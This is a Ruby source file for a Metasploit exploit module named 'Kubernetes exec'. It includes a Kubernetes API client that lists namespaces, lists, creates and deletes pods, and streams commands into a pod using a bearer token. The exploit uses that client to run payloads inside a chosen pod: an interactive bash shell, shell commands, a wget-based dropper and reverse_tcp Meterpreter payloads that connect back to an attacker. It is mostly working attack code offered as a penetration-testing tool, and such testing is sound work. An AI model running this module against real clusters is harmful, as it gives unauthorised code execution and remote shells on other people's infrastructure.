Files
metasploit-gs/modules/exploits/multi/kubernetes/exec.rb
T
2021-09-30 16:54:01 -04:00

371 lines
9.7 KiB
Ruby

# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module Kubernetes
module Error
class ApiError < ::StandardError
end
class AuthenticationError < ApiError
end
class UnexpectedStatusCode < ApiError
attr_reader :status_code
def initialize(status_code)
super
@status_code = status_code
end
end
end
class Client
USER_AGENT = 'kubectl/v1.22.2 (linux/amd64) kubernetes/8b5a191'.freeze
class ExecChannel < Rex::Proto::Http::WebSocket::Interface::Channel
attr_reader :error
def initialize(websocket)
@error = {}
super(websocket, write_type: :text)
end
def on_data_read(data, _data_type)
return data if data.blank?
exec_channel = data[0].ord
data = data[1..-1]
case exec_channel
when EXEC_CHANNEL_STDOUT
return data
when EXEC_CHANNEL_STDERR
return data
when EXEC_CHANNEL_ERROR
@error = JSON(data)
end
nil
end
def on_data_write(data)
EXEC_CHANNEL_STDIN.chr + data
end
end
def initialize(config)
@http_client = config.fetch(:http_client)
@token = config[:token]
end
def exec_pod(name, namespace, command, options = {})
options = {
'stdin' => false,
'stdout' => true,
'stderr' => true,
'tty' => false
}.merge(options)
# while kubectl uses SPDY/3.1, the Python client uses WebSockets over HTTP/1.1
# see: https://github.com/kubernetes/kubernetes/issues/7452
websocket = http_client.connect_ws(
request_options(
{
'method' => 'GET',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}/exec"),
'query' => build_query_string({
'command' => command,
'stdin' => !!options.delete('stdin'),
'stdout' => !!options.delete('stdout'),
'stderr' => !!options.delete('stderr'),
'tty' => !!options.delete('tty')
}),
'headers' => {
'Sec-Websocket-Protocol' => 'v4.channel.k8s.io'
}
},
options
)
)
websocket
end
def exec_pod_capture(name, namespace, command, options = {}, &block)
websocket = exec_pod(name, namespace, command, options)
result = { error: {}, stdout: '', stderr: '' }
websocket.wsloop do |channel_data, _data_type|
next if channel_data.blank?
channel = channel_data[0].ord
channel_data = channel_data[1..-1]
case channel
when EXEC_CHANNEL_STDOUT
result[:stdout] << channel_data
block.call(channel_data, nil) if block_given?
when EXEC_CHANNEL_STDERR
result[:stderr] << channel_data
block.call(nil, channel_data) if block_given?
when EXEC_CHANNEL_ERROR
result[:error] = JSON(channel_data)
end
end
result
end
def list_namespace(options = {})
_res, json = call_api(
{
'method' => 'GET',
'uri' => http_client.normalize_uri('/api/v1/namespaces')
},
options
)
json
end
def list_pod(namespace, options = {})
_res, json = call_api(
{
'method' => 'GET',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods")
},
options
)
json
end
def create_pod(data, namespace, options = {})
res, json = call_api(
{
'method' => 'POST',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods"),
'data' => JSON.pretty_generate(data)
},
options
)
if res.code != 201
raise Kubernetes::Error::UnexpectedStatusCode, res.code
end
json
end
def delete_pod(name, namespace, options = {})
_res, json = call_api(
{
'method' => 'DELETE',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}"),
'headers' => {}
},
options
)
json
end
private
EXEC_CHANNEL_STDIN = 0
EXEC_CHANNEL_STDOUT = 1
EXEC_CHANNEL_STDERR = 2
EXEC_CHANNEL_ERROR = 3
EXEC_CHANNEL_RESIZE = 4
attr_reader :http_client
def build_query_string(query_vars)
qary = []
query_vars.each_pair do |key, val|
key = key.to_s
key = Rex::Text.uri_encode(key)
if val.is_a? Array
qary += val.map { |subval| "#{key}=#{Rex::Text.uri_encode(subval.to_s)}" }
else
qary << "#{key}=#{Rex::Text.uri_encode(val.to_s)}"
end
end
qary.join('&')
end
# TODO: Support receiving data directly as a table?
# Accept: application/json;as=Table;g=meta.k8s.io;v=v1beta1
# https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables
def call_api(request, options = {})
res = http_client.send_request_raw(request_options(request, options))
if res.nil? || res.body.empty?
raise Kubernetes::Error::ApiError
elsif res.code == 401
raise Kubernetes::Error::AuthenticationError
end
json = res.get_json_document
if json.nil?
raise Kubernetes::Error::ApiError
end
[res, json.deep_symbolize_keys]
end
def request_options(request, options = {})
token = options.fetch(:token, @token)
request.merge(
{
'agent' => USER_AGENT,
'headers' => request.fetch('headers', {}).merge(
{
'Authorization' => "Bearer #{token}"
}
)
}
)
end
end
end
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kubernetes exec',
'Description' => %q{
Execute a payload within a Kubernetes pod.
},
'License' => MSF_LICENSE,
'Author' => [
'adfoster-r7',
'Spencer McIntyre'
],
'References' => [
# ['URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/']
],
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ ]
},
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Targets' => [
[ 'WebSocket Stream',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_stream,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/interact',
},
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
}
}
],
[
'Unix Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_cmd
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'Type' => :nix_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Python',
{
'Arch' => [ARCH_PYTHON],
'Platform' => 'python',
'Type' => :python,
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
]
],
'DisclosureDate' => '2000-01-01', # FIXME: find an actual disclosure date
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('JwtToken', [ true, 'The JWT token' ]),
OptString.new('Pod', [ true, 'The pod name to execute in' ]),
OptString.new('Namespace', [true, 'The Kubernetes namespace', 'default' ])
]
)
end
def check
# For the check command
end
def exploit
@kubernetes_client = Kubernetes::Client.new({ http_client: self, token: datastore['JwtToken'] })
case target['Type']
when :nix_stream
# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
websocket = @kubernetes_client.exec_pod(datastore['Pod'], datastore['Namespace'], 'bash', 'stdin' => true, 'tty' => true)
channel = Kubernetes::Client::ExecChannel.new(websocket)
handler(channel.lsock)
when :nix_cmd
execute_command(payload.encoded)
when :nix_dropper
execute_cmdstager
else
execute_command(payload.encoded)
end
end
def execute_command(cmd, _opts = {})
case target['Platform']
when 'python'
command = ['sh', '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
else
command = ['sh', '-c', cmd]
end
result = @kubernetes_client.exec_pod_capture(datastore['Pod'], datastore['Namespace'], command) do |stdout, stderr|
print_status("STDOUT: #{stdout.strip}") unless stdout.blank?
print_error("STDERR: #{stderr.strip}") unless stderr.blank?
end
status = result&.dig(:error, 'status')
fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
end
end